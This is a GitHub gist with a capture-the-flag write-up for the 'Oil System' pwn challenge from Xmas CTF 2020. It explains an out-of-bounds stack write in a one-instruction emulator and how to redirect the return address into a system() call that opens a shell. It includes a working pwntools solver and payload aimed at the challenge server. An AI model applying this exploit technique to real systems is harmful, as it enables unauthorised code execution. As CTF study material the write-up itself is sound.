Skip to content

Instantly share code, notes, and snippets.

@Stfort52
Created December 26, 2020 16:01
Show Gist options
  • Select an option

  • Save Stfort52/970a6e3dfb4dbc52b83b8b516ef896bd to your computer and use it in GitHub Desktop.

Select an option

Save Stfort52/970a6e3dfb4dbc52b83b8b516ef896bd to your computer and use it in GitHub Desktop.
Xmas CTF 2020 Oil System

Xmas CTF 2020 Oil System

This is a write-up for challenge Oil system in Xmas CTF 2020.

Problem

We are provided with a binary called oil and a example custom script example for it.

Goal

Pwn problem. Get the shell!

Analysis

This program works in two ways, depending on the number of arguments it was executed with. Without any command-line arguments, this program works in a interactive manner, and with a name of a script provided in the command-line argument, it executes that script.

The script is just an sequence of integers separated by a space or a newline. As the name oil stands for One-Instruction Language, those integers are read by a group of 3 and executed in an only way.

void __cdecl doEmul(int *arr)
{
  signed int i; // [rsp+8h] [rbp-10h]
  int i0; // [rsp+Ch] [rbp-Ch]
  int i1; // [rsp+10h] [rbp-8h]
  int i2; // [rsp+14h] [rbp-4h]

  i = 0;
  while ( i >= 0 )
  {
    i0 = arr[i];
    i1 = arr[i + 1LL];
    i2 = arr[i + 2LL];
    if ( !i && !i0 )
      break;
    if ( i0 >= 0 && i1 >= 0 )
    {
      arr[i1] -= arr[i0];
      if ( arr[i1] <= 0 )
        i = i2;
      else
        i += 3;
    }
    else
    {
      i = -1;                                   // oh no!
    }
  }
}

As you can see, it gets the first number i0 of the group, and the second number i1 of the group, and subtracts arr[i0] from arr[i1]. Then, if the results are not positive, it jumps to the third number. If not, it just fetches the next number. However, if i1 or i0 becomes negative, it will halt.

In the interactive menu, you can write your code, run your code, and inspect it. You can set the program name to any string that starts with a arbitrary letter, and this is important for the exploit later on. In the run code menu, the program will write your code of your name to the filesystem. Then, it will run that program by invoking oil itself again with your program. It uses system() for it. The inspection menu runs cat on your script, so you can see your code.

In the non-interactive mode, the function my teammate named emulator() loads your script on the int[128] array, and executes it by calling doEmul() above.

This binary has most of the protections.

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

solve

There is a obvious OoB write in the function doEmul(). This function does check the value i0 and i1 against >=0, but it does not check if the value exceeds 127. As this array is in the stack frame of emulator(), you can access any stack variables including the return address.

However, we don't know any of the addresses, so we can't just perform ROP to get a shell. Thankfully, this binary is full of system() calls. We can exploit one of them to get a shell easily.

void *view_cached_code()
{
  char *basename; // rax
  size_t baseLen; // rbx
  char *basename2; // rax

  memset(run_code_, 0, 0x20uLL);
  strncpy(run_code_, "cat cache/", 0xDuLL);
  basename = xpg_basename(programName); // <= jump here
  baseLen = strlen(basename);
  basename2 = xpg_basename(programName);
  strncat(run_code_, basename2, baseLen);
  system(run_code_);
  return memset(run_code_, 0, 0x20uLL);
}

The function that my teammate named view_cahced_code() is called in the code inspection menu in the interactive mode. This function executes cat cache/${programName} to show your code. We can jump in the middle of this function, to the part basename=xpg_basename_(programName). As the .bss variable run_code_ is empty when the program is executing in the non-interactive mode, this will cause strncat to just write programName on it. Then, it calls system(). Therefore, if we name our code sh or bash, it will just grant a shell. As you can find out in the cat cache/, we don't even need to name it /bin/sh as the PATH environment variables are alive.

Then its just a problem of writing a code that allows us to jump from emulator() to here. As the offsets of the functions are the same, it can be easily done without getting any leaks. The offset from the array and the return address is 0x298 bytes. The offset from the original return value and the target location above is 0x4c6 bytes. Therefore, doing arr[166] -= -1222 should be more than enough.

So our payload is 2 166 -1222, and named sh.

Executing this file against oil will get a shell, and doing the same thing interactively will get the shell, too. Please refer to the attached solver.py for the actual exploit code.

#!/usr/bin/python
from pwn import *
#p = process("./oil") //requires the oil binary to be code-patched, to use your local oil, not /home/oil-system/oil
p = remote("host7.dreamhack.games", 15423)
def menu(choice):
p.sendlineafter(" > ", str(choice))
def write(name, code):
menu(2)
p.sendlineafter("Enter your Program's Name :", name)
p.sendlineafter("Enter Code :", code)
def run():
menu(3)
if __name__ == "__main__":
write("sh", open("sh").read())
run()
p.interactive()
2 166 -1222
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment